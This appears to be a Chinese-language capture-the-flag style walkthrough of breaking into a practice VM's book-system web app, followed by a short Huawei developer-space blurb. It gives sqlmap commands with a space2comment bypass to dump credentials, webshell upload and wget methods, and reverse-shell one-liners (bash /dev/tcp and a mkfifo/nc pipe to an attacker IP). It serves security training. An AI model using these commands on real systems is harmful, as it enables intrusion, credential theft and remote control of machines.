1.下载靶场

下载地址

2.打开虚拟机,导入虚拟机后把网络模式由NAT改为桥接模式,启动。

先用浏览器访问一下80端口,是一个登录,没有验证码,可以试一下爆破。我这里还是先注册一下,不行再爆破。

 

可以注册,注册登录之后发现这是一个图书系统。

搜索一下试试,显示了所有的图书。

 但凡有搜索的地方,先试一下sql注入,抓包看一下,post有search参数,手工测试一下。

 

 search存注入,字符型。联合注入一下,试一下字段数。

 没有注入成功,盲猜是由于过滤了空格用/**/代替一下绕过。

可以,注入成功,剩下的交给sqlmap,右键保存一下抓包记录为1.txt文件,data为指定post参数。

python3 sqlmap.py -r 1.txt -vv --tamper=space2comment --dbms  "MySQL" --level 5 --data="search=1"

 然后获取一下当前的数据库的用户名和密码

python3 sqlmap.py -r a.txt -vv --tamper=space2comment --dbms  "MySQL" --level 5 --data="search=1" -D webapphacking -C "user,pasword" –dump

 解密一下superadmin的密码

登入管理员后台,可以上传文件,先上传图马。

 

上传图马之后,一般都是用文件包含,但这里没有,总之挂代理xray扫描一下。

扫到一个php命令执行,试试。

现在有三种方式写webshell

1通过wget下载后门
2通过上传图片文件包含或者通过命令执行来修改后缀名为php
3直接用命令行写入webshell

直接wget下载shell:

系统命令修改后缀名为php,但是要先知道上传路径,这个可以通过ls命令显示文件,或者用cat查看welcomeadmin.php的源码查看。

/var/www/html/uploads/year2020/

 上传完连接,反弹nc或msf,提权就ok了。

反弹shell有很多种,但是在这个靶机上,bash反弹会报错。

bash -i >& /dev/tcp/ip/port 0>&1

 

 由于默认的nc没有-e选项,可以通过命名管道的方式把bash通过nc反弹出来。

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.0.8 8080 > /tmp/f

 一定要先监听端口,然后再反弹,否则连接不上!

用python升级一下交互式shell

python -c "import pty;pty.spawn('/bin/bash')"

或者用php-reverse-shell进行反弹。

php-reverse-shell

再或者可以用base64加密一下bash反弹命令。

base64混淆

反弹成功之后,再home目录下发现一个奇怪的文件,用cat查看后发现是一个二进制可执行文件。

 执行了一下,居然提权成功,看来这就是这个靶机的最后一步了。

代码审计:

welcome.php:

 welcomeadmin.php

ps:手工测试时,如果单引号不行就换双引号或者括号多试几次。

Logo

华为开发者空间,是为全球开发者打造的专属开发空间,汇聚了华为优质开发资源及工具,致力于让每一位开发者拥有一台云主机,基于华为根生态开发、创新。

更多推荐